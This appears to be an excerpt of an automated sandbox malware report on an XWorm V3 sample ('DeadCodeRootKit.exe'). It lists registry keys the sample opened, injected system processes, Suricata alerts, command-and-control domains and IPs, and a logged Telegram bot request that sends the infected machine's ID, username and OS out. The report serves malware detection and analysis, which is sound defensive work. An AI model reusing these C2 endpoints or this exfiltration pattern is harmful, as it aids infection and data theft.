Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctAB5F.tmp.pdb source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1840509505.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.pdbr source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDB source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1840509505.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct3D66.tmp.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1840509505.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wmsetup.log.pdb source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1840509505.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_000002E86A09BF5C FindFirstFileExW,	6_2_000002E86A09BF5C
Source: C:\Windows\System32\winlogon.exe	Code function: 11_2_00000225DC64BF5C FindFirstFileExW,	11_2_00000225DC64BF5C
Source: C:\Windows\System32\lsass.exe	Code function: 12_2_00000202C0AEBF5C FindFirstFileExW,	12_2_00000202C0AEBF5C
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A66130BF5C FindFirstFileExW,	14_2_000002A66130BF5C
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF21BF5C FindFirstFileExW,	16_2_000002BAAF21BF5C
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879CBF5C FindFirstFileExW,	17_2_0000026A879CBF5C
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537ABF5C FindFirstFileExW,	19_2_00000179537ABF5C
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D56BF5C FindFirstFileExW,	20_2_000002295D56BF5C

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49738 -> 147.185.221.21:28600
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.4:49739 -> 149.154.167.220:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe	Domain query: updates-full.gl.at.ply.gg
Source: C:\Windows\System32\svchost.exe	Domain query: subscribe-bond.gl.at.ply.gg
Source: C:\Windows\System32\svchost.exe	Domain query: api.telegram.org

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: subscribe-bond.gl.at.ply.gg

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 2.0.DeadROOTkit.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\DeadROOTkit.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\DeadROOTkit.exe, type: DROPPED

Source: global traffic	TCP traffic: 192.168.2.4:49731 -> 147.185.221.21:28600
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 147.185.221.20:60075

Source: global traffic

TCP traffic: 192.168.2.4:52581 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: GET /botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V3.0%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A161EDF6F280165B1D298%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: SALSGIVERUS SALSGIVERUS
Source: Joe Sandbox View	ASN Name: SALSGIVERUS SALSGIVERUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V3.0%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A161EDF6F280165B1D298%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: subscribe-bond.gl.at.ply.gg
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: updates-full.gl.at.ply.gg

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 13 Oct 2024 17:15:49 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: DeadROOTkit.exe, 00000002.00000002.2956134718.000000000243F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2974624894.00000202C0400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774441153.00000202C0402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2952382254.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763590382.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 0000000C.00000000.1774122233.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774122233.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.2189100927.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2969201803.00000202C03B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000003.1786428389.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2967895483.00000202C0379000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1766962440.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: lsass.exe, 0000000C.00000002.2974624894.00000202C0400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1774441153.00000202C0402000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
